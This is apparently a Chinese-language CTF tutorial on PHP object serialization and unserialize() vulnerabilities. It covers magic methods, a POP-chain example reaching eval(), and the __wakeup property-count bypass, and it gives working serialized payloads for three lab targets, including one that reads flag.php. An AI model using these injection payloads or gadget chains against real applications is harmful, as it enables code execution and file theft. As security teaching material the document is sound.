序列化与反序列化漏洞
Table of Contents
序列化和反序列化
序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象
PHP的序列化
序列化函数serialize()
首先我创一个Ctf
类 里面写了三个属性 后创建了一个ctfer
对象 将Ctf
类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来
<?php
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __sleep(){
return array('flag','age');
}
}
$ctfer=new Ctf();
$ctfer->flag='flag{abedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18';
echo serialize($ctfer);
?>
// 输出结果 O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值
PHP的反序列化
反序列化函数unserialize()
。反序列化就是将一个序列化了的对象或数组字符串,还原回去
<?php
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18';
$str=serialize($ctfer);
echo '<pre>'; var_dump(unserialize($str))
?>
//输出结果
class Ctf#2 (3) {
public $flag =>
string(13) "flag{adedyui}"
public $name =>
string(7) "Sch0lar"
public $age =>
string(2) "18"
}
访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
PHP反序列化漏洞
反序列化漏洞的成因在于代码中的 unserialize()
接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击
从上面的序列化和反序列化的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的,如果我们想利用类里面的方法呢?这时候魔法方法就派上用场了,魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的
寻找 PHP 反序列化漏洞的方法或者流程:
- 寻找
unserialize()
函数的参数是否有我们的可控点; - 寻找我们的反序列化的目标,重点寻找存在
wakeup()
或destruct()
魔法函数的类; - 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的;
- 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击。
魔术方法的简单利用
class demo {
var $test;
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->action();
}
}
class L {
function action() {
echo "function action() in class L";
}
}
class Evil {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
首先我们能看到unserialize()
函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数__destruct()
,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用
我们看到__destruct()
里面只用到了一个属性test
,再观察一下哪些地方调用了action()
函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil
这个类中发现他的 action()
函数调用了eval()
,那我们的想法就很明确了,只需要将demo
这个类中的test
属性篡改为 Evil
这个类的对象,然后为了eval
能执行命令,我们还要篡改Evil
对象的test2
属性,将其改成要执行的命令
class demo {
var $test;
function __construct(){
$this->test = new Evil(); //这里将 L 换成 Evil
$this->test->test2 = "phpinfo();"; //初始化对象 $test2 值
}
function __destruct(){
$this->test->action();
}
}
class Evil {
var $test2;
function action(){
eval($this->test2);
}
}
$demo = new demo();
$data = serialize($demo);
var_dump($data);
#输出
string(71) "O:4:"demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}"
这样就完成了一个简单的PHP反序列化漏洞的利用
魔术方法
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
PHP将所有以 __ (两个下划线)开头的类方法保留为魔术方法
__sleep
在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。
可以在__sleep()
方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性
示例:
<?php
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __sleep(){
return array('flag','age');
}
}
$ctfer=new Ctf();
$ctfer->flag='flag{abedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18';
echo serialize($ctfer);
?>
// 输出结果 O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
即__sleep()
方法使 flag age 属性序列化,而name并没有被序列化
__wakeup
在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
unserialize()会检查类中是否存在一个__wakeup
魔术方法
如果存在则会先调用__wakeup()
方法,再进行序列化
可以在__wakeup()
方法中对属性进行初始化、赋值或者改变
<?php
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __wakeup(){
$this->flag='no flag'; //在反序列化时,flag属性将被改变为“no flag”
}
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18';
$str=serialize($ctfer);
echo '<pre>';
var_dump(unserialize($str));
?>
反序列化之前重新给flag属性赋值
class Ctf#2 (3) {
public $flag =>
string(7) "no flag"
public $name =>
string(7) "Sch0lar"
public $age =>
string(2) "18"
}
当我们在执行serialize()
和unserialize()
时,会先调用这两个函数。例如我们在序列化一个对象时,这个对象有一个数据库链接,想要在反序列化中恢复链接状态,则可以通过重构这两个函数来实现链接的恢复。
<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;
public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}
private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}
public function __sleep()
{
return array('server', 'username', 'password', 'db');
}
public function __wakeup()
{
$this->connect();
}
}
?>
绕过__wakeup()函数
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
//将上面的对象属性个数值改成比真实个数大
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
__toString
__toString() 方法用于定义一个类被当成字符串时该如何处理。
<?php
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class; // 运行结果:Hello
?>
__invoke
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
__construct
具有 __construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。
__destruct
__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__set
给不可访问属性赋值时,__set() 会被调用。
__get
读取不可访问属性的值时,__get() 会被调用。
__isset
对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset
对不可访问属性调用 unset() 时,__unset() 会被调用。
__call
在对象中调用一个不可访问方法时,__call() 会被调用。
<?php
class MethodTest{
public function __call($name, $arguments){
// Note: value of $name is case sensitive.
echo "Triggering __call method when calling method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
}
}
$obj = new MethodTest;
$obj->callTest('arg1','arg2');
/*运行结果
Triggering __call method when calling method 'callTest' with arguments 'arg1, arg2'.
*/
?>
__callStatic
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
<?php
class MethodTest{
public static function __callStatic($name, $arguments){
// Note: value of $name is case sensitive.
echo "Triggering __call method when calling method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
}
}
MethodTest::callStaticTest('arg3','arg4'); // As of PHP 5.3.0
/*运行结果
Triggering __call method when calling method 'callStaticTest' with arguments 'arg3, arg4'.
*/
?>
靶机
http://49.232.141.238:9981/
<?php
include "flag.php";
$unserialize_str = $_POST['data'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == 'admin' && $data_unserialize['pass']=='nicaicaikan')
{
print_r($flag);
}
else{
highlight_file("index.php");
}
payload:
<?php
$demo=array(
"user"=>"admin",
"pass"=>"nicaicaikan"
);
$data = serialize($demo);
echo $data
?>
//获得序列化字符串
a:2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"nicaicaikan";}
http://49.232.141.238:9982/
<?php
include "flag.php";
class Index{
private $name1;
private $name2;
protected $age1;
protected $age2;
function getflag($flag){
$name2 = rand(0,999999999);
if($this->name1 === $this->name2){
$age2 = rand(0,999999999);
if($this->age1 === $this->age2){
echo $flag;
}
}
else{
echo "nonono";
}
}
}
if(isset($_GET['poc'])){
$a = unserialize($_GET['poc']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
payload
<?php
class Index {
private $name1='daniel';
private $name2='daniel';
protected $age1=22;
protected $age2=22;
}
$index = new Index();
$data = urlencode(serialize($index));//私有和保护属性会有`%00`字符,直接输出会显示空格,所以要进行url编码
echo $data
?>
//得到序列化字符串
O%3A5%3A%22Index%22%3A4%3A%7Bs%3A12%3A%22%00Index%00name1%22%3Bs%3A6%3A%22daniel%22%3Bs%3A12%3A%22%00Index%00name2%22%3Bs%3A6%3A%22daniel%22%3Bs%3A7%3A%22%00%2A%00age1%22%3Bi%3A22%3Bs%3A7%3A%22%00%2A%00age2%22%3Bi%3A22%3B%7D
http://49.232.141.238:9983/
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){
$this->user = "Guest";
$this->sex = "female";
}
function __toString(){
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
}
function __destruct()
{
echo $this;
}
}
class Demo2{
private $fffl4g;
function __construct($file){
$this->fffl4g = $file;
}
function __toString(){
return file_get_contents($this->fffl4g);
}
}
if(!isset($_GET['poc'])){
highlight_file("index.php");
}
else{
$user = unserialize($_GET['poc']);
}
payload
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){//新建类的时候赋值
$this->user = new Demo2("flag.php");
$this->sex = "male";
}
}
class Demo2{
private $fffl4g;
function __construct($file){
$this->fffl4g = $file;
}
}
$user=new DemoX();
$user=serialize($user);
echo $user."<hr>";
echo urlencode($user);
$poc=urlencode($user);
?>
O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D
绕过__wakeup
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D